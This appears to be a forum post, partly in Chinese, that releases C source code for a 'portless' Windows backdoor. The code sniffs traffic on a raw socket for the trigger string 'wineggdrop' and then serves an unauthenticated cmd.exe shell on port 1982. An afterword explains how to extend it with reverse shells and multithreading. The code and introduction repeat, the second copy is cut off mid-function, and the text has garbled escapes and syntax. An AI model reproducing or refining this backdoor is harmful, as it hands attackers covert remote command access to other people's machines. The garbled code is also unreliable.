PortLess BackDoor(Source Code)
这里的代码是演示了一下小榕那个BIT后门的原理.代码写得比较马虎,对于shell里的输
入输出没有认真看过,只是用最少的代码弄了个可用的代码出来,得到shell后输入命令
可以要两次回车才有反应(有兴趣者自己修改一下代码).后门的激活字符串是
wineggdrop,运行后,只要连接到运行了这程序的系统的任何一上打开的端口,输入
wineggdrop,那么就能激活后门,绑在端口1982中,一连接就得到个shell(没有密码验证
的).由于嗅探只是在第一个网卡中进行,如果连接internet的是使用第二个或其它网
卡,那么就会失败.程序是为反向连接也做了准备,反向连接只是向连接的IP的指定端口
进行一个connect的连接,连上后自动打开个cmd的shell.代码已为用户保存了连接者的
IP,要连接上连接者哪个端口和如何进行一个反向连接等等的问题,留待自己解决.最后,
程序只能用于win 2k或以上系统,无驱动的嗅探只能用在win 2k或以上系统,其它
windows都不行的.其它的问题自己看代码解决。程序只是简单的测试了一下,如果有什
么问题,也是自己解决.如果用这些代码做坏事,那与我无关.如果将代码转载,最好是保
留完整.
代
码://**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
// Some Structures To Define
#define IP_HDRINCL 2
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LAN 255
typedef struct _iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
typedef&struct _tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
// End Of Structure
// Global Variable
char SourceIPAddress[MAX_ADDR_LEN]; // Hold The Source IP(This Can Be
Used To Do Reverse Connection)
int BackDoorPort = 0; // The Port Back Door Will Bind
// Function ProtoType Declaration
//---------------------------------------------------------------------------
---------------------------
BOOL InitSocket();
BOOL DoSniffing();
BOOL DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL IsWin2KOrAbove();
DWORD WINAPI StartBackDoor(LPVOID Para);
BOOL GetABackDoorShell(const SOCKET ListenSocket);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char
*Buffer,const int BufferSize);
//---------------------------------------------------------------------------
---------------------------
// End Of Fucntion ProtoType Declaration
// Main Function
int main(int argc,char *argv[])
{
if (!IsWin2KOrAbove()) // This System Running This Program Is Not Win 2K
Or Above
{
printf("The Program Must Run Under Win 2k Or Above OS/n"); // Display
This Message
return -1; // Quit The Program
}
if (argc == 2) // We Get Argument
BackDoorPort = atoi(argv[1]); // Argument One Is The Back Door's
Port
else // No Argument
BackDoorPort = 1982; // Back Door's Port Will Be Defined On 1982
if (!InitSocket()) // Fail To Initize Socket
{
printf("Fail To Start Up Winsock/n"); // Display Error Message
return -1; // Quit The Program
}
DoSniffing(); // Do Sniffing
return 0; // Quit The Program
}// End Of Main Function
//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters: NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
WSADATA data;
WORD ver;
ver = MAKEWORD(2,2);
if (WSAStartup( ver, &data )!= 0 )
{
return FALSE;
}
return TRUE;
}// End Of InitSocket Function
//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
int Length=0; // Variable To Hold The Receive Buffer Length
char RecvBuf[MAX_PACK_LEN] = ; // Receive Buffer
SOCKET SocketRaw = INVALID_SOCKET; // Raw Socket
SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); // Create A Raw
Socket
if (SocketRaw == INVALID_SOCKET) // Fail To Create A Raw Socket
{
printf("Fail To Create A Raw Socket/n"); // Display Error Message
return FALSE; // Return False
}
char FAR name[MAX_HOSTNAME_LAN];
if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR) // Fail To Get
The Host Name
{
printf("Fail To Get Host Name/n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket Created
return FALSE; // Return False
}
// The Below Is The NIC Stuff
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent)); // Allocate
Hostent Buffer
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET; // That's Internet Related
sa.sin_port = htons(0); // Any Port Avariable On The OS
if (pHostent->h_addr_list[0] != 0) // We Only Check The First NIC
{
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent-
>h_length); // We Use The First NIC As The Sniffing Subject
}
else // Well,The First NIC Is Not Valid
{
printf("Get Host By Name Fails/n"); // Display Error Message
free(pHostent); // Free The Hostent Buffer
closesocket(SocketRaw);
return FALSE; // Return FALSE;
}
free(pHostent); // Free The Hostent Buffer
if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR) // Bind
The Raw Socket On The First NIC,But Fails
{
printf("Fail To Bind/n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket
return FALSE; // Return False
}
// Forget About The Below A Few Lines,They Are Just A Static Routine To Do
The None_Driver Sniffing(Some Sort Of Must-Have Codes)
DWORD dwBufferLen[10] ;
DWORD dwBufferInLen = 1 ;
DWORD dwBytesReturned = 0 ;
if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof
(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL ,
NULL) == SOCKET_ERROR)
{
closesocket(SocketRaw);
return FALSE;
}
while(TRUE) // Sniffing Starts Here With Forever Loop
{
memset(RecvBuf, 0, sizeof(RecvBuf)); // Reset The Receive Buffer
Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0); // Try To
Receive Data
if (Length == SOCKET_ERROR) // Get Error As Receiving Data
{
printf("Fail To Receive Data/n"); // Display Error Message
break; // Leave The Loop
}
if (DecodeIPPack(RecvBuf,Length)) // Decode The Buffer Received,And
The Active Code Is Found
{
printf("Bingo,The BackDoor Is Activated On Port %
d/n",BackDoorPort); //We Are Going To Activate The BackDoor
DWORD dwThreadID;
HANDLE BackDoorThread = CreateThread
(NULL,0,&StartBackDoor,NULL,0,&dwThreadID); // Create The Back Door
Thread
WaitForSingleObject(BackDoorThread,INFINITE); // Wait Until The
Back Door Ends
}
}
closesocket(SocketRaw); // Close The Raw Socket
return TRUE; // Return
}// End Of DoSniffing Function
//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters: 1.const char *Buffer -->The Received Buffer
// 2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
IP_HEADER *pIpheader; // IP Header
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)Buffer; // Transfer The Buffer Into IP Header
Form
int Protocol = pIpheader->proto; // Get The Protocol
if ((Protocol != IPPROTO_TCP)) // Not TCP Protocol
{
return FALSE; // Return False Since We Only Interest In TCP Protocol
}
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); //
Get The Source IP(Important For Doing Reverse Connection)
int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); //
Get The IP Length
return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer
}// End Of DecodeIPPack Function
//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters: 1.const char *TCPBuffer -->The TCP Buffer
// 2.Const int BufferSize -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
TCP_HEADER * pTcpHeader; // TCP Header
int iSourcePort,iDestPort; // Source Port And DestPort
pTcpHeader = (TCP_HEADER * )TCPBuffer; // Transfer The Buffer Into TCP
Header Form
int TcpHeaderLen = pTcpHeader->th_lenres>>4; // Get The TCP Leader
Length
TcpHeaderLen *= sizeof(unsigned long);
char * TcpData=TCPBuffer+TcpHeaderLen; // Get The TCP Data
iSourcePort = ntohs(pTcpHeader->th_sport); // Get The Source Port
iDestPort = ntohs(pTcpHeader->th_dport); // Get The Destination Port
if (strstr(TcpData,"wineggdrop")!=NULL) // If The TCP Data Contains A
Word "wineggdrop"(The Active Code),Then Bingo
{
printf("%s:%d-->Local:%
d/r/n",SourceIPAddress,iSourcePort,iDestPort); // Display A Message
return TRUE; // Return TRUE(The Back Door Will Be Activated Soon)
}
return FALSE; // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function
//-------------------------------------------------------------------------
// Purpose: To Check The OS
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL IsWin2KOrAbove()
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx(&OSVersionInfo)) // Get The OS Version
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) &&
(OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above
OS
else
return FALSE; // Fail To Get The OS Version,Just Return FALSE
}// End Of IsWin2KOrAbove Function
//---------------------------------------------------------------------------
-----
// Purpose: To Ease The Way To Send Data Through Socket
// Return Type: Boolean
// Parameters: 1.const SOCKET ClientSocket --> The Socket To Send
Message
// 2.const char *Message --> Message To Send
//---------------------------------------------------------------------------
-----
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}// End Of SendSocket
//---------------------------------------------------------------------------
-----
// Purpose: To Start The Back Door
// Return Type: DWORD
// Parameters: LPVOID Para --> Can Be AnyThing
//---------------------------------------------------------------------------
-----
DWORD WINAPI StartBackDoor(LPVOID Para)
{
struct sockaddr_in srv;
SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //
Create A TCP Socket
if (ListenSocket == INVALID_SOCKET) // Fail To Create A TCP Socket
{
printf("Fail To Create A BackDoor Socket/n"); // Display Error
Message
return -1; // Return
}
srv.sin_family = AF_INET; // Internet Related
srv.sin_addr.s_addr = htonl(INADDR_ANY); // Any Address
srv.sin_port = htons(BackDoorPort); // Back Door Port
if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) ==
INVALID_SOCKET) // Fail To Bind The Socket
{
printf("Fail To Bind BackDoor Sokcet/n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
if (listen(ListenSocket,1) == INVALID_SOCKET) // Fail To Listen On The
Back Door's Port
{
printf("Fail To Listen/n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL); // Accepting
Connections
if (AcceptSocket == INVALID_SOCKET) // Fail To Accept Connection
{
printf("Fail To Accept Connection/n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
GetABackDoorShell(AcceptSocket); // Get A CMD Shell
closesocket(AcceptSocket); // Close Accpeted Socket
closesocket(ListenSocket); // Close The Listen Socket
return 0; // Return
}// End Of StartBackDoor Function
//---------------------------------------------------------------------------
-----
// Purpose: To To The Shell Stuff
// Return Type: Boolean
// Parameters: const SOCKET ListenSocket --> The Client Connected Socket
//---------------------------------------------------------------------------
-----
BOOL GetABackDoorShell(const SOCKET ListenSocket)
{
char ReceiveBuffer[MAX_PATH + 1]; // The Receive Buffer
char SendBuffer[1024 * 4]; // The Send Buffer
unsigned long OutputLength,InputLength; // The Input And Output Length
// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;
SECURITY_ATTRIBUTES sa = ;
STARTUPINFO si = ;
PROCESS_INFORMATION pi = ;
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));
if (GetSystemDirectory(ReceiveBuffer,MAX_PATH)) // Get System Directory
{
strcat(ReceiveBuffer,"/cmd.exe"); // Get The Cmd.exe Full Path
}
else // Fail To Get System Directory
{
SendSocket(ListenSocket,"Fail To Get System Diretory/r/n"); //
Display Error Message
return FALSE; // Return
}
// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));
if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0)) // Fail To Create
Client Read Pipe
{
SendSocket(ListenSocket,"Fail To Create Client Read Pipe/r/n"); //
Display Error Message
goto CleanUP; // Leave
}
if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0)) // Fail To Create
Cmd Read Pipe
{
SendSocket(ListenSocket,"Fail To Create CMD Read Pipe/r/n"); //
Display Error Message
goto CleanUP; // Leave
}
// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = CmdReadPipe; // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe; // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe; // Pass The CmdWritePipe To StdOutput
if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL,
NULL,&si,&pi)) // Fail To Create A Cmd Shell Process
{
SendSocket(ListenSocket,"Fail To Create Process/r/n"); // Display
Error Message
goto CleanUP; // Leave
}
while(TRUE) // Shell Commincation Starts Here
{
if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof
(SendBuffer),&OutputLength,NULL,NULL)) // Fail To Get Data From The
Pipe
{
SendSocket(ListenSocket,"Fail To Peek Name Pipe/r/n"); // Display
Error Message
break; // Leave
}
if (OutputLength > 0) // Get Data From The Pipe Successfully
{
ZeroMemory(SendBuffer,sizeof(SendBuffer)); // Reset The Send
Buffer
if (!ReadFile
(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0)) //Fail To Read
The Data
{
SendSocket(ListenSocket,"Fail To Read File/r/n"); // Display
Error Message
break; // Leave
}
if (send(ListenSocket,SendBuffer,OutputLength,0) ==
SOCKET_ERROR) // Fail To Send The Data
{
printf("Fail To Send Buffer/n"); // Display Error Message
break; // Leave
}
}
else
{
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); // Reset Receive
Buffer
InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer,
sizeof(ReceiveBuffer)); // Receive Input From Client
if (InputLength == SOCKET_ERROR) // Fail To Receive Data
{
printf("Fail To Receive Buffer/n"); // Display Error Message
break; // Leave
}
if (!WriteFile
(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0)) // Fail To
Write The Received Data To The Pipe
{
printf("Fail To Write File/n"); // Display Error Message
break; // Leave
}
// Leave The Shell
if (strnicmp((char*)ReceiveBuffer, "exit/r/n", 6) == 0 || strnicmp
((char*)ReceiveBuffer, "exit/r", 5)==0 || strnicmp((char*)
ReceiveBuffer, "exit/n", 5)==0)
break;
}
}
// Clean All Resource Allocated
CleanUP:
if (CmdReadPipe != NULL)
CloseHandle(CmdReadPipe);
if (CmdWritePipe != NULL)
CloseHandle(CmdWritePipe);
if (ClientReadPipe != NULL)
CloseHandle(ClientReadPipe);
if (ClientWritePipe)
CloseHandle(ClientWritePipe);
return TRUE;
}// End Of GetABackDoorShell Function
//---------------------------------------------------------------------------
-----
// Purpose: To Receive Data From Socket In A Custom-Defined Way
// Return Type: unsigned int
// Parameters: 1.const SOCKET ClientSocket --> The Client Connected Socket
// 2.char *Buffer --> Buffer To Hold Data
Received
// 3.const int BufferSize --> The Buffer Size
//---------------------------------------------------------------------------
-----
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char
*Buffer,const int BufferSize)
{
ZeroMemory(Buffer,BufferSize); // Reset The Buffer
if (BufferSize < 2) // Buffer Size Is Less Then 2
{
return 0; // Dump
}
unsigned int CharacterCount = 0;
while(TRUE)
{
if (CharacterCount >= BufferSize) // The Characters Received Is
Bigger Or Equal The Buffer Size
{
// Give The Buffer An Enter
Buffer[BufferSize-2] = '/r';
Buffer[BufferSize-1] = '/n';
return CharacterCount; // Return The Characters Received
}
if (recv(ClientSocket,Buffer+CharacterCount,1,0) ==
SOCKET_ERROR) // Fail To Receive Data
{
return SOCKET_ERROR; // Return Error
}
if (Buffer[CharacterCount] == 'b') // Back Space Detected
{
Buffer[CharacterCount] = ''; // Skip It
if (CharacterCount > 0) // Characters Received Is Bigger Than 0
{
CharacterCount--; // Decrease One Character
Buffer[CharacterCount] = '';
}
continue; // Begin A New Loop
}
if (Buffer[CharacterCount++] == '/n') // Enter Is Detected
{
return CharacterCount; // Return The Characters Received
}
}
return 0; // We Get Nothing,Return Zero
}// End Of ReceiveMessageFromSocket Function
// End Of File
?>
Some people have mailed me asking why the code doesn't work or is unable to
compile. The answer is that the above code only demonstrates how to code
some backdoor similiar to BITS or portless; it is not a complete working
backdoor source code. If you want to make it work as you perfer, you need to
study ,re-write the source code in order to perfect it.
The source code only supports linear connection(only allow one connection at
once no matter normal shell or reverse shell methods),but you can change it
to non-linear. The easiler solution to convert it to
non-linear is to remove the line WaitForSingleObject(). Then,of course,you
have to handle the multi-thread
problem, at least you get to control how many threads allowe to be created
if you don't want your backdoor to create like 100 threads(it means the
backdoor locally binds on 100 different ports in normal shell mode). For
reverse shell mode,it's not a big problem since revrese shell use connect()
to create a reverse shell. If the connection fails,the thread will end.
Thus,if you prefer the non-linear approach, you have to work with the
problems generated in createing normal shell threads.
For linear approach,there is,still, a problem to be solved.Assume a user
successfully activates the backdoor in normal mode(the backdoor will bind on
a local port specified through the user's active string and the backdoor
will stop sniffing from now on until the normal shell thread is ended), if
the system has some sort of firewall or secure setting block the port on
which the backdoor has binded, connections to that port will all fails,which
means the backdoor will stop working(due to the linear approach,the sniffing
will stop as soon as normal shell or reverse shell thread is created. If the
thread never ends, the sniffing keeps still until the created thread is
terminated). To solve this problem,you can simply create a timeout-checking
thread before creating the normal shell thread. In some time period such as
2 minutes,if there is
no connection to the normal shell,the timeout-checking thread will terminate
the normal shell thread.I don't recommend using TerminateThread() to end a
thread because it's not safe in many aspects.
To sum up, whatever linear or non-linear approach, the problem is all about
normal shell mode.To make your own backdoor work better,you get to put your
effort on it.
这里的代码是演示了一下小榕那个BIT后门的原理.代码写得比较马虎,对于shell里的输
入输出没有认真看过,只是用最少的代码弄了个可用的代码出来,得到shell后输入命令
可以要两次回车才有反应(有兴趣者自己修改一下代码).后门的激活字符串是
wineggdrop,运行后,只要连接到运行了这程序的系统的任何一上打开的端口,输入
wineggdrop,那么就能激活后门,绑在端口1982中,一连接就得到个shell(没有密码验证
的).由于嗅探只是在第一个网卡中进行,如果连接internet的是使用第二个或其它网
卡,那么就会失败.程序是为反向连接也做了准备,反向连接只是向连接的IP的指定端口
进行一个connect的连接,连上后自动打开个cmd的shell.代码已为用户保存了连接者的
IP,要连接上连接者哪个端口和如何进行一个反向连接等等的问题,留待自己解决.最后,
程序只能用于win 2k或以上系统,无驱动的嗅探只能用在win 2k或以上系统,其它
windows都不行的.其它的问题自己看代码解决。程序只是简单的测试了一下,如果有什
么问题,也是自己解决.如果用这些代码做坏事,那与我无关.如果将代码转载,最好是保
留完整.
代
码://**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
// Some Structures To Define
#define IP_HDRINCL 2
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LAN 255
typedef struct _iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
typedef&struct _tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
// End Of Structure
// Global Variable
char SourceIPAddress[MAX_ADDR_LEN]; // Hold The Source IP(This Can Be
Used To Do Reverse Connection)
int BackDoorPort = 0; // The Port Back Door Will Bind
// Function ProtoType Declaration
//---------------------------------------------------------------------------
---------------------------
BOOL InitSocket();
BOOL DoSniffing();
BOOL DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL IsWin2KOrAbove();
DWORD WINAPI StartBackDoor(LPVOID Para);
BOOL GetABackDoorShell(const SOCKET ListenSocket);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char
*Buffer,const int BufferSize);
//---------------------------------------------------------------------------
---------------------------
// End Of Fucntion ProtoType Declaration
// Main Function
int main(int argc,char *argv[])
{
if (!IsWin2KOrAbove()) // This System Running This Program Is Not Win 2K
Or Above
{
printf("The Program Must Run Under Win 2k Or Above OS/n"); // Display
This Message
return -1; // Quit The Program
}
if (argc == 2) // We Get Argument
BackDoorPort = atoi(argv[1]); // Argument One Is The Back Door's
Port
else // No Argument
BackDoorPort = 1982; // Back Door's Port Will Be Defined On 1982
if (!InitSocket()) // Fail To Initize Socket
{
printf("Fail To Start Up Winsock/n"); // Display Error Message
return -1; // Quit The Program
}
DoSniffing(); // Do Sniffing
return 0; // Quit The Program
}// End Of Main Function
//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters: NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
WSADATA data;
WORD ver;
ver = MAKEWORD(2,2);
if (WSAStartup( ver, &data )!= 0 )
{
return FALSE;
}
return TRUE;
}// End Of InitSocket Function
//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
int Length=0; // Variable To Hold The Receive Buffer Length
char RecvBuf[MAX_PACK_LEN] = ; // Receive Buffer
SOCKET SocketRaw = INVALID_SOCKET; // Raw Socket
SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); // Create A Raw
Socket
if (SocketRaw == INVALID_SOCKET) // Fail To Create A Raw Socket
{
printf("Fail To Create A Raw Socket/n"); // Display Error Message
return FALSE; // Return False
}
char FAR name[MAX_HOSTNAME_LAN];
if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR) // Fail To Get
The Host Name
{
printf("Fail To Get Host Name/n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket Created
return FALSE; // Return False
}
// The Below Is The NIC Stuff
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent)); // Allocate
Hostent Buffer
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET; // That's Internet Related
sa.sin_port = htons(0); // Any Port Avariable On The OS
if (pHostent->h_addr_list[0] != 0) // We Only Check The First NIC
{
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent-
>h_length); // We Use The First NIC As The Sniffing Subject
}
else // Well,The First NIC Is Not Valid
{
printf("Get Host By Name Fails/n"); // Display Error Message
free(pHostent); // Free The Hostent Buffer
closesocket(SocketRaw);
return FALSE; // Return FALSE;
}
free(pHostent); // Free The Hostent Buffer
if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR) // Bind
The Raw Socket On The First NIC,But Fails
{
printf("Fail To Bind/n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket
return FALSE; // Return False
}
// Forget About The Below A Few Lines,They Are Just A Static Routine To Do
The None_Driver Sniffing(Some Sort Of Must-Have Codes)
DWORD dwBufferLen[10] ;
DWORD dwBufferInLen = 1 ;
DWORD dwBytesReturned = 0 ;
if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof
(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL ,
NULL) == SOCKET_ERROR)
{
closesocket(SocketRaw);
return FALSE;
}
while(TRUE) // Sniffing Starts Here With Forever Loop
{
memset(RecvBuf, 0, sizeof(RecvBuf)); // Reset The Receive Buffer
Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0); // Try To
Receive Data
if (Length == SOCKET_ERROR) // Get Error As Receiving Data
{
printf("Fail To Receive Data/n"); // Display Error Message
break; // Leave The Loop
}
if (DecodeIPPack(RecvBuf,Length)) // Decode The Buffer Received,And
The Active Code Is Found
{
printf("Bingo,The BackDoor Is Activated On Port %
d/n",BackDoorPort); //We Are Going To Activate The BackDoor
DWORD dwThreadID;
HANDLE BackDoorThread = CreateThread
(NULL,0,&StartBackDoor,NULL,0,&dwThreadID); // Create The Back Door
Thread
WaitForSingleObject(BackDoorThread,INFINITE); // Wait Until The
Back Door Ends
}
}
closesocket(SocketRaw); // Close The Raw Socket
return TRUE; // Return
}// End Of DoSniffing Function
//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters: 1.const char *Buffer -->The Received Buffer
// 2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
IP_HEADER *pIpheader; // IP Header
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)Buffer; // Transfer The Buffer Into IP Header
Form
int Protocol = pIpheader->proto; // Get The Protocol
if ((Protocol != IPPROTO_TCP)) // Not TCP Protocol
{
return FALSE; // Return False Since We Only Interest In TCP Protocol
}
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); //
Get The Source IP(Important For Doing Reverse Connection)
int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); //
Get The IP Length
return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer
}// End Of DecodeIPPack Function
//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters: 1.const char *TCPBuffer -->The TCP Buffer
// 2.Const int BufferSize -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
TCP_HEADER * pTcpHeader; // TCP Header
int iSourcePort,iDestPort; // Source Port And DestPort
pTcpHeader = (TCP_HEADER * )TCPBuffer; // Transfer The Buffer Into TCP
Header Form
int TcpHeaderLen = pTcpHeader->th_lenres>>4; // Get The TCP Leader
Length
TcpHeaderLen *= sizeof(unsigned long);
char * TcpData=TCPBuffer+TcpHeaderLen; // Get The TCP Data
iSourcePort = ntohs(pTcpHeader->th_sport); // Get The Source Port
iDestPort = ntohs(pTcpHeader->th_dport); // Get The Destination Port
if (strstr(TcpData,"wineggdrop")!=NULL) // If The TCP Data Contains A
Word "wineggdrop"(The Active Code),Then Bingo
{
printf("%s:%d-->Local:%
d/r/n",SourceIPAddress,iSourcePort,iDestPort); // Display A Message
return TRUE; // Return TRUE(The Back Door Will Be Activated Soon)
}
return FALSE; // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function
//-------------------------------------------------------------------------
// Purpose: To Check The OS
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL IsWin2KOrAbove()
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx(&OSVersionInfo)) // Get The OS Version
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) &&
(OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above
OS
else
return FALSE; // Fail To Get The OS Version,Just Return FALSE
}// End Of IsWin2KOrAbove Function
//---------------------------------------------------------------------------
-----
// Purpose: To Ease The Way To Send Data Through Socket
// Return Type: Boolean
// Parameters: 1.const SOCKET ClientSocket --> The Socket To Send
Message
// 2.const char *Message --> Message To Send
//---------------------------------------------------------------------------
-----
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}// End Of SendSocket
//---------------------------------------------------------------------------
-----
// Purpose: To Start The Back Door
// Return Type: DWORD
// Parameters: LPVOID Para --> Can Be AnyThing
//---------------------------------------------------------------------------
-----
DWORD WINAPI StartBackDoor(LPVOID Para)
{
struct sockaddr_in srv;
SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //
Create A TCP Socket
